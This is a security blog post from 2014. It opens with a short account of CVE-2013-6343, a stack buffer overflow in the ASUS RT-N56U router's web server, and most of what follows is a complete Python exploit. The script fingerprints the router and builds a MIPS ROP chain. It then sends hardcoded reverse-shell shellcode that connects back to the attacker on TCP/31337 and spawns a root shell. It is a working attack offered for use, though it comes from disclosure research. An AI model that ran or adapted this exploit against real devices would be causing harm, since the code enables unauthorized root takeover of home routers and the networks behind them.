Sunday, January 19, 2014

[Exploit] ASUS RT-N56U Remote Root Shell Buffer Overflow


From its hardened state, the RT-N56U runs an HTTP server on port TCP/80. This HTTP server is vulnerable to multiple buffer overflow attacks during the command processing routine (CVE-2013-6343) of the media application configuration and installation process. In the same fashion that Broadcom ACSD was exploited, an attacker can connect to the HTTPD service and submit a command string that is larger than the program’s fixed length buffer. Upon doing so, the attacker will have corrupted the HTTP servers call stack and have altered the execution flow of the program.

The RT-N56U exploit utilizes return oriented programming (ROP) to circumvent stack randomization, but does not need to cause a context switch by calling the sleep() function. At the time of code execution, the RT-N56U has already performed a context switch and written the d-cache (data cache) back to RAM. Because of this condition, the RT-N56U exploit utilizes a call to sched_yield(), which relinquishes the CPU to a ready to run process (if one exists) with a greater than or equal to execution priority of the HTTPD process.

Finally, I direct the program’s execution to custom shellcode residing on the programs call-stack, which when executed, connects back to the attackers machine on TCP/31337 and spawns a root system shell.



#!/usr/bin/env python

from time import sleep
from sys import exit
import urllib2, signal, struct, base64, socket, ssl

# [*] Title: ASUS RT-N56U Remote Root Shell Exploit - apps_name
# [*] Discovered and Reported: October 2013
# [*] Discovered/Exploited By: Jacob Holcomb/Gimppy - Security Analyst @ ISE
# [*] Contact: Twitter - @rootHak42
# [*] Software Vendor: http://asus.com
# [*] Exploit/Advisory: http://securityevaluators.com, http://infosec42.blogspot.com/
# [*] Software: httpd (Listens on TCP/80 and TCP/443)
# [*] Tested Firmware Versions: 3.0.0.4.374_979 (Other versions may be vulnerable)
# [*] CVE: ASUS RT-N56U Buffer Overflow: CVE-2013-6343
#
# [*] Overview:
#       Multiple ASUS routers including the RT-N56U and RT-AC66U have the ability to install
#       supplemental applications. This install process is handled by the routers web server,
#       and is susceptible to multiple Buffer Overflow attacks.
#
#       Vulnerable Web Page: APP_Installation.asp
#       Vulnerable HTML Parameters: apps_name, apps_flag
#       Vulneralbe Source File: web.c of httpd code
#       *Firmware versions prior to the tested version were vulnerable to this attack.
#


def fingerPrint(host, port, netSock):

    fprint = ["RT-N56U"]
    found = None
    print " [*] Preparing to fingerprint the server."
    try:
        print " [*] Connecting to %s on port %d." % (host, port)
        netSock.connect((host, port))
    except Exception as error:
        print "\n [!!!] ERROR! %s %s [!!!]\n\n" % (type(error), error)
        exit(0)

    try:
        print " [*] Sending fingerprint request."
        netSock.send("HEAD / HTTP/1.1\r\n\r\n")
        netData = netSock.recv(1024)
    except Exception as error:
        print "\n [!!!] ERROR! %s %s [!!!]\n\n" % (type(error), error)
        exit(0)

    try:
        print " [*] Closing network socket.\n"
        netSock.close()
    except Exception as error:
        print "\n [!!!] ERROR! %s %s [!!!]\n\n" % (type(error), error)

    for item in fprint:
        if item in netData:
            print " [!!!] Target system found in signature list - Result: %s [!!!]\n" % item
            sleep(1)
            found = item
    if found == None:
        print " [!!!] Server banner doesn't match available targets. [!!!]\n"
        sleep(1)
        exit(0)
    else:
        return found


def targURL():

    while True:
  
        URL = raw_input("\n[*] Please enter the URL of the router. Ex. http://192.168.1.1\n>")
        if len(URL) != 0 and URL[0:7] == "http://" or URL[0:8] == "https://":
            return URL.lower()
        else:
            print "\n\n [!!!] Target URL cant be null and must contain http:// or https:// [!!!]\n"
            sleep(1)


def creds():

    while True:

        User = raw_input("\n[*] Please enter the username for the routers HTTP Basic Authentication:\n>")
        Pass = raw_input("\n[*] Please enter the password for the supplied username:\n>")
        if len(User) != 0:
            return User, Pass
        else:
            print "\n [!!!] Username cant be null [!!!]\n"
            sleep(1)


def basicAuth():

    auth = None

    while auth != "yes" and auth != "no":
        auth = raw_input("\n[*] Would you like to use HTTP Basic Authentication? \"yes\" or \"no\"\n>")

        if auth.lower() == "yes":
            print "\n\n[!!!] You chose to use HTTP Basic Authentication [!!!]\n"
            sleep(1)
            User, Pass = creds()
            return base64.encodestring("%s:%s" % (User, Pass)).replace("\n", "")
        elif auth.lower() == "no":
            print "\n\n[!!!] You chose not to use HTTP Basic Authentication. [!!!]\n"
            sleep(1)
            return 0
        else:
            print "\n\n[!!!] Error: You entered %s. Please enter \"yes\" or \"no\"! [!!!]\n" % auth
            sleep(1)


def sigHandle(signum, frm): # Signal handler
   
    print "\n\n[!!!] Cleaning up the exploit... [!!!]\n"
    sleep(1)
    exit(0)


def main():

    print """\n[*] Title: ASUS RT-N56U Remote Root Shell Exploit - apps_name
[*] Discovered and Reported: October 2013
[*] Discovered/Exploited By: Jacob Holcomb/Gimppy - Security Analyst @ ISE
[*] Contact: Twitter - @rootHak42
[*] Software Vendor: http://asus.com
[*] Exploit/Advisory: http://securityevaluators.com, http://infosec42.blogspot.com/
[*] Software: httpd (Listens on TCP/80 and TCP/443)
[*] Tested Firmware Versions: 3.0.0.4.374_979 (Other versions may be vulnerable)
[*] CVE: ASUS RT-N56U Buffer Overflow: CVE-2013-6343\n"""
    signal.signal(signal.SIGINT, sigHandle) #Setting signal handler for ctrl + c

    target = targURL()
    try:
        print "\n [*] Creating network socket"
        netSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        if target[0:5] == "https":
            host = target[8:]
            port = 443
            print " [*] Preparing SSL/TLS support."
            https_netSock = ssl.wrap_socket(netSock)
            finger = fingerPrint(host, port, https_netSock)
        else:
            host = target[7:]
            port = 80
            finger = fingerPrint(host, port, netSock)
    except Exception as error:
        print "\n [!!!] ERROR! %s %s [!!!]\n\n" % (type(error), error)
        exit(0)

    auth = basicAuth()
    junk = "\x42" * 109
    link_nop = "2Aa3"

    #Base address of ld_uClibc and libc in httpd address space
    ld_uClibcBase = 0x2aaa8000
    libcBaseAddr = 0x2ab5f000

    #Rop Chain
    #<chown+68>:   move    v0,s0 -> sched_yield()
    #<chown+72>:   lw  ra,28(sp) -> Rop2
    #<chown+76>:   lw  s0,24(sp)
    #<chown+80>:   jr  ra
    #<chown+84>:   addiu   sp,sp,32
    saved_ra1 = struct.pack("<L", libcBaseAddr + 0x73f4)

    #<_dl_runtime_pltresolve+68>:  lw  ra,36(sp) -> Rop 3
    #<_dl_runtime_pltresolve+72>:  lw  a0,16(sp)
    #<_dl_runtime_pltresolve+76>:  lw  a1,20(sp)
    #<_dl_runtime_pltresolve+80>:  lw  a2,24(sp)
    #<_dl_runtime_pltresolve+84>:  lw  a3,28(sp)
    #<_dl_runtime_pltresolve+88>:  addiu   sp,sp,40
    #<_dl_runtime_pltresolve+92>:  move    t9,v0
    #<_dl_runtime_pltresolve+96>:  jr  t9 -> jump sched_yield()
    #<_dl_runtime_pltresolve+100>: nop
    saved_ra2 = struct.pack("<L", ld_uClibcBase + 0x4e94)

    #<setrlimit64+144>:    addiu   a1,sp,24 -> ptr to stack
    #<setrlimit64+148>:    lw  gp,16(sp)
    #<setrlimit64+152>:    lw  ra,32(sp) -> Rop 4
    #<setrlimit64+156>:    jr  ra -> jump Rop 4
    #<setrlimit64+160>:    addiu   sp,sp,40
    saved_ra3 = struct.pack("<L", libcBaseAddr + 0x9ce0)

    #move    t9,a1 -> ptr to jalr sp on stack
    #addiu   a0,a0,56
    #jr      t9 -> jump to stack
    #move    a1,a2
    saved_ra4 = struct.pack("<L", libcBaseAddr + 0x308fc)

    #sched_yield()
    sch_yield_s0 = struct.pack("<L", libcBaseAddr + 0x94b0)
 
    #Stage 1 Shellcode
    jalr_sp =  "\x09\xf8\xa0\x03"

    #Stage 2 Shellcode (Stack Pivot) by Jacob Holcomb of ISE
    stg2_SC = "\x2c\x08\xbd\x27"# addiu sp, sp, 2092
    stg2_SC += "\x09\xf8\xa0\x03"# jalr sp
    stg2_SC += "\x32\x41\x61"#filler for link (branch delay)

    #Stage 3 Shellcode
    #200 byte Linux MIPS reverse shell shellcode by Jacob Holcomb of ISE
    #Connects on 192.168.1.177:31337
    stg3_SC = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
    stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
    stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
    stg3_SC += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
    stg3_SC += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
    stg3_SC += "\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20"
    stg3_SC += "\xf8\xff\xa5\xaf\x01\xb1\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"
    stg3_SC += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
    stg3_SC += "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf"
    stg3_SC += "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
    stg3_SC += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
    stg3_SC += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
    stg3_SC += "\xab\x0f\x02\x24\x0c\x09\x09\x01"

    payload =  junk + sch_yield_s0 + junk[0:12] + saved_ra1 + junk[0:32]
    payload += saved_ra2 + junk[0:36] + saved_ra3 + junk[0:24] + jalr_sp
    payload += link_nop + saved_ra4 + junk[0:4] + stg2_SC
    postData = "apps_action=install&apps_path=&apps_name=%s&apps_flag=sdb1" % payload

    try:
        print "\n [*] Preparing the malicious web request."
        httpRequest = urllib2.Request("%s/APP_Installation.asp" % target, data = postData)
        httpRequest.add_header("Cookie", "hwaddr=" + junk[0:35] + stg3_SC + "\x42" * (265 - len(stg3_SC)))
        if auth != 0:
            httpRequest.add_header("Authorization", "Basic %s" % auth)
        print " [*] Successfully built HTTP POST request."

    except Exception as error:
        print "\n [!!!] ERROR! %s %s [!!!]\n\n" % (type(error), error)
        exit(0)

    try:
        print """ [*] Preparing to send Evil PAYLoAd to %s on port %d!\n [*] Payload Length: %d
 [*] Waiting...""" % (host, port, len(payload))
        sploit = urllib2.urlopen(httpRequest, None, 6)
        if sploit.getcode() == 200:
            print " [*] Server Response: HTTP 200 OK. Get ready 2 catch roOt on TCP/31337!"
        else:
            print " [*] Server Response: HTTP %d. Something went wrong!" % sploit.getcode()

    except(urllib2.URLError) as error:
        print "\n [!!!] Web request error! %s %s [!!!]\n\n" % (type(error), error)
        exit(0)
    except Exception as error:
        print "\n [!!!] ERROR! %s %s [!!!]\n\n" % (type(error), error)
        exit(0)
    finally:
        print " [*] %s exploit code has finished.\n" % finger

if __name__ == "__main__":
    main()   

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